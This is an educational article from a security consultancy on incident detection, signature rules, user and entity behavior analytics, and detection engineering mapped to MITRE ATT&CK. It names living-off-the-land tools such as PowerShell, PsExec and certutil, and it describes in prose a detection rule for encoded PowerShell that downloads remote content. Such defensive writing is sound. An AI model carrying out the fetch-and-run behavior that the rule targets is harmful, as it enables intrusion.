Incident Detection and Behavioral Analytics
Incident detection is the capability of identifying cybersecurity events that indicate a compromise, attack, or policy violation within an organization's environment.
# Incident Detection and Behavioral Analytics
Definition
Incident detection is the capability of identifying cybersecurity events that indicate a compromise, attack, or policy violation within an organization's environment. Behavioral analytics (also called User and Entity Behavior Analytics, UEBA) is a detection methodology that establishes baseline behavior patterns for users, devices, and systems, then alerts on deviations from those baselines that may indicate malicious activity.
Traditional detection relies on signatures and rules: known patterns that match known threats. A SIEM rule that triggers on "more than 10 failed login attempts in 5 minutes" detects brute force attacks. An EDR signature that matches a known Mimikatz hash detects that specific tool. These approaches work against known, documented threats. They fail against novel attacks, living-off-the-land techniques (legitimate tools used maliciously), and slow, patient adversaries who stay under threshold-based alert triggers.
Behavioral analytics addresses this gap. Instead of asking "does this event match a known bad pattern?" it asks "does this entity's behavior deviate from what is normal for this entity?" A user who normally accesses 3 applications during business hours suddenly accessing 15 applications at 2 AM is anomalous regardless of whether any individual access matches a threat signature. A service account that normally authenticates from 2 servers suddenly authenticating from 20 is anomalous regardless of whether the authentication protocol is technically valid.
The combination of signature-based detection and behavioral analytics provides layered detection capability. Signatures catch known threats efficiently. Behavioral analytics catches unknown threats, insider threats, and sophisticated adversaries that signatures miss.
How It Works
Signature-Based Detection
Signature-based detection matches observed events against a catalog of known threat indicators:
IOC matching. Compare network traffic, file hashes, domain names, and IP addresses against threat intelligence feeds containing known Indicators of Compromise (IOCs). Traffic to a command-and-control server listed in a threat feed triggers an alert.
Rule-based correlation. SIEM correlation rules define multi-event patterns that indicate attacks. "Failed VPN login from Country X followed by successful login from the same IP within 10 minutes" triggers an alert. "Process executing encoded PowerShell command that downloads content from an external URL" triggers an alert. Each rule codifies a known attack pattern.
Signature matching. EDR and antivirus compare file hashes and behavioral patterns against databases of known malware. A file that matches a known ransomware signature is blocked or quarantined.
Signature-based detection is fast, efficient, and produces low false positives for well-tuned rules. Its limitation: it only detects what it has been programmed to look for. An attacker who uses a novel technique, a modified tool, or legitimate system utilities (PowerShell, WMI, PsExec, certutil) that are not inherently malicious operates below the signature detection threshold.
Behavioral Analytics (UEBA)
Behavioral analytics builds statistical baselines for every user and entity in the environment, then scores deviations from those baselines:
User behavior baselines. Normal login times, typical applications accessed, usual data volumes transferred, standard locations and devices, common file access patterns. Each user's baseline is individual: what is normal for the CFO (accessing financial systems, large data volumes) is not normal for a marketing coordinator (same systems, same volumes would be anomalous).
Entity behavior baselines. Normal network traffic patterns for servers, typical authentication patterns for service accounts, usual CPU and memory utilization for workloads, standard communication patterns between applications. Entities that deviate from their baseline (a server that suddenly communicates with a new external IP, a service account that authenticates at an unusual time) generate risk scores.
Risk scoring. Behavioral analytics platforms assign risk scores to users and entities based on the number, severity, and uniqueness of their behavioral anomalies. A user with one minor anomaly (login from a new device) receives a low risk score. A user with multiple concurrent anomalies (new device, unusual time, accessing systems they have never accessed, transferring unusually large data volumes) receives a high risk score. High-risk scores trigger alerts for analyst investigation.
Peer group analysis. Some behavioral analytics platforms compare an individual's behavior against their peer group (other users with the same role, same department, same access level). A finance team member who accesses the financial system daily is normal. A finance team member who accesses the source code repository (which no other finance team member accesses) is anomalous.
Timeline analysis. Behavioral analytics tracks changes over time. A user whose behavior gradually shifts (accessing more systems, transferring more data, working at unusual hours) may be staging for insider data theft. The gradual shift is invisible to any single-event detection rule but visible to behavioral analytics that tracks the trend.
Detection Engineering
Detection engineering is the practice of systematically designing, testing, deploying, and maintaining detection rules. It treats detection as an engineering discipline rather than an ad hoc activity.
Rule development. Detection rules are developed from three sources: threat intelligence (a new advisory describes a technique; write a rule to detect it), incident findings (an incident revealed a detection gap; write a rule to close it), and threat hunting discoveries (a hunt found anomalous activity that no rule caught; write a rule to catch it in the future).
Testing. Every detection rule must be tested before production deployment. Atomic Red Team (a library of small, focused tests mapped to MITRE ATT&CK techniques) enables security teams to simulate adversary behavior and verify that the detection rule fires correctly. A rule that is not tested may produce false positives (firing on benign activity) or false negatives (not firing on the intended malicious activity).
Tuning. After deployment, every rule produces some false positives. Tuning adjusts the rule's logic, thresholds, and exclusions to reduce false positives without reducing true positive detection. A rule that alerts on "PowerShell executing an encoded command" may fire on legitimate system administration scripts. Tuning adds exclusions for known-good scripts while maintaining detection for unknown encoded commands.
Coverage tracking. Detection coverage is tracked against the MITRE ATT&CK matrix. Each rule maps to one or more ATT&CK techniques. The detection coverage map shows which techniques are detected (green), partially detected (amber), and not detected (red). CDA's TID-R02 mission (Detection Coverage Assessment, 16 hours) produces this coverage map, which is the most actionable TID metric.
Rule lifecycle. Detection rules are not permanent. Threat actors evolve their techniques. Legitimate business processes change. Rules that were accurate six months ago may produce false positives or miss current threats. Detection engineering includes periodic review of existing rules: are they still relevant? Are the false positive rates acceptable? Are there new techniques they should be updated to cover?
Why It Matters
Advanced Threats Evade Signatures
The most dangerous adversaries (state-sponsored APT groups, sophisticated ransomware operators) specifically design their operations to evade signature-based detection. They use living-off-the-land techniques (PowerShell, WMI, native OS tools) that are not inherently malicious. They modify known tools to change their signatures. They move slowly to stay under threshold-based triggers. They compromise legitimate credentials so their access looks authorized.
Behavioral analytics detects these threats because it does not rely on recognizing the tool or technique. It recognizes that the behavior is abnormal for the entity performing it. An APT29 operator using PowerShell at 2 AM from a finance user's account to query Active Directory and enumerate file shares is using legitimate tools through legitimate credentials. Signature detection sees authorized activity. Behavioral analytics sees a finance user performing system administration activities at an unusual time, which generates a high risk score that triggers investigation.
Insider Threat Detection
Insider threats are nearly invisible to signature-based detection because the insider uses their own legitimate credentials and authorized access. There is no malware to detect, no exploit to trigger, no IOC to match. The threat is a person with valid access using that access for unauthorized purposes.
Behavioral analytics detects insider threats through deviation from baseline. An employee who normally accesses 50 files per day suddenly accessing 5,000 files is anomalous. An employee who normally works 9 AM to 5 PM suddenly active at midnight is anomalous. An employee who just gave notice (HR status change) suddenly downloading large volumes of data from systems they do not normally access produces a risk score that combines behavioral anomaly with HR context. No individual event is a signature. The pattern is the detection.
Dwell Time Reduction
Behavioral analytics reduces dwell time by detecting threats that signature-based systems miss. If the only detection capability is signature-based, the attacker who evades signatures operates undetected until they make a mistake or reach a stage of the attack that produces a recognizable pattern (typically encryption or data exfiltration, which are late-stage events). Behavioral analytics can detect the anomalous behavior during the reconnaissance, lateral movement, or data staging phases, which are earlier stages that provide more response time.
CDA Perspective
Detection and behavioral analytics sit in the TID (Threat Intelligence and Defense) domain of the Planetary Defense Model. TID is the atmosphere: the detection layer that identifies threats before they reach the surface. Signature-based detection is the weather station network (known patterns, known measurements). Behavioral analytics is the atmospheric anomaly detection (something that does not match any known pattern but deviates from normal conditions).
CDA's Predictive Defense Intelligence (PDI) methodology integrates both detection approaches. "See the threat before it sees you." Signatures see known threats. Behavioral analytics sees unknown threats through behavioral deviation. Together, they provide the layered detection that advanced adversaries require.
TID-H01 (Detection Engineering Program, 32 estimated hours) establishes the systematic practice of developing, testing, tuning, and maintaining detection rules across both signature and behavioral approaches. The program outputs: a growing library of tested detection rules mapped to ATT&CK techniques, a decreasing false positive rate (measured monthly), an increasing detection coverage percentage (measured against the ATT&CK matrix quarterly), and a documented rule lifecycle process that keeps the detection library current.
The interaction with adjacent domains: IAT provides the identity context that behavioral analytics uses for baseline creation and anomaly scoring (who is this user? what is their role? what is their normal access pattern?). SPH provides the endpoint telemetry (EDR data) and system health data that behavioral analytics monitors for entity anomalies. VSD provides the vulnerability context (is the anomalous behavior targeting a known vulnerability?). DPS provides the data classification context (is the anomalous data access targeting Restricted data?). RGA provides the compliance context (does this anomaly trigger a regulatory notification requirement?).
CDA approaches detection differently from conventional SIEM vendors in one specific way: we measure detection effectiveness by ATT&CK coverage percentage, not by alert volume or log ingestion. A SIEM generating 5,000 alerts per day that detects 15% of ATT&CK techniques is less effective than a SIEM generating 200 alerts per day that detects 60% of ATT&CK techniques. Coverage matters. Volume does not. Behavioral analytics increases coverage for the techniques that signature-based rules cannot reach, which are precisely the techniques that sophisticated adversaries use.
Key Takeaways
- Signature-based detection catches known threats efficiently. Behavioral analytics catches unknown threats, insider threats, and sophisticated adversaries that evade signatures.
- Behavioral analytics establishes baselines for each user and entity, then scores deviations. Multiple concurrent anomalies (unusual time + unusual systems + unusual volume) generate high risk scores that trigger investigation.
- Detection engineering treats detection as a systematic discipline: rule development from intelligence, testing with adversary simulation, tuning for false positive reduction, and coverage tracking against MITRE ATT&CK.
- Insider threats are nearly invisible to signature detection because insiders use legitimate credentials and authorized access. Behavioral analytics detects the deviation from baseline that signatures cannot see.
- CDA measures detection effectiveness by ATT&CK coverage percentage, not alert volume. Behavioral analytics increases coverage for the techniques that sophisticated adversaries use.
Related Articles
- SIEM Architecture
- Threat Hunting
- Endpoint Detection and Response (EDR)
- MITRE ATT&CK Framework
- Threat Intelligence and Defense (TID): The Atmosphere
- Active Directory Security
Sources
- Gartner. "Market Guide for User and Entity Behavior Analytics (UEBA)." Gartner, 2024.
- MITRE Corporation. "ATT&CK Framework." attack.mitre.org, updated continuously.
- Red Canary. "Atomic Red Team: Detection Validation Tests." GitHub, updated continuously.
- Mandiant (Google Cloud). "M-Trends 2024: Special Report." Mandiant, April 2024. (Dwell time statistics and detection gap analysis.)
- SANS Institute. "Detection Engineering: A State of the Art Report." SANS Whitepaper, 2024.
Word count: 1,944
Related CDA Missions
CDA Theater missions that address topics covered in this article.
Written by Evan Morgan
Found an issue? Help improve this article.